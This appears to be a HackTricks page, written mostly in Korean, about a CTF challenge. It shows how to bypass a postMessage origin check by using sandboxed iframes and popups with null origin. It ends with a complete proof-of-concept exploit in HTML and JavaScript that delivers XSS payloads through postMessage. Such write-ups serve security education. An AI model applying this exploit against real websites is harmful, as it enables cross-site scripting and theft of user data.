Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

도전 과제NDevTKTerjanq가 만든 것으로, 코딩된 XSS를 이용해야 합니다.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

주요 문제는 메인 페이지data.body를 전송하기 위해 DomPurify를 사용한다는 것입니다. 따라서 자신의 HTML 데이터를 해당 코드로 전송하려면 e.origin !== window.origin우회해야 합니다.

그들이 제안하는 해결책을 살펴보겠습니다.

SOP 우회 1 (e.origin === null)

//example.org샌드박스 iframe에 포함되면 페이지의 origin은 **null**이 됩니다. 즉, **window.origin === null**입니다. 따라서 <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">를 통해 iframe을 포함시키기만 하면 null origin강제할 수 있습니다.

페이지가 포함 가능하다면 그 방법으로 보호를 우회할 수 있습니다(쿠키는 SameSite=None으로 설정해야 할 수도 있습니다).

SOP 우회 2 (window.origin === null)

덜 알려진 사실은 sandbox 값 allow-popups가 설정되면 열린 팝업모든 샌드박스 속성상속한다는 것입니다. allow-popups-to-escape-sandbox가 설정되지 않는 한 말이죠. 따라서 null origin에서 팝업을 열면 팝업 내부의 **window.origin**도 **null**이 됩니다.

챌린지 해결책

따라서 이 챌린지에서는 iframe생성하고, 취약한 XSS 코드 핸들러가 있는 페이지(/iframe.php)로 팝업을 열면, window.origin === e.origin이므로 두 값이 모두 null이기 때문에 XSS를 이용할 페이로드를 전송할 수 있습니다.

페이로드식별자를 가져와서 XSS상위 페이지(팝업을 연 페이지)로 전송할 것이며, 상위 페이지취약한 /iframe.php위치 변경을 할 것입니다. 식별자가 알려져 있기 때문에 window.origin === e.origin 조건이 만족되지 않아도 상관없습니다(기억하세요, origin은 origin이 **null**인 iframe의 팝업입니다) 왜냐하면 data.identifier === identifier이기 때문입니다. 그러면 XSS가 다시 트리거되며, 이번에는 올바른 origin에서 발생합니다.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
HackTricks 지원하기

Last updated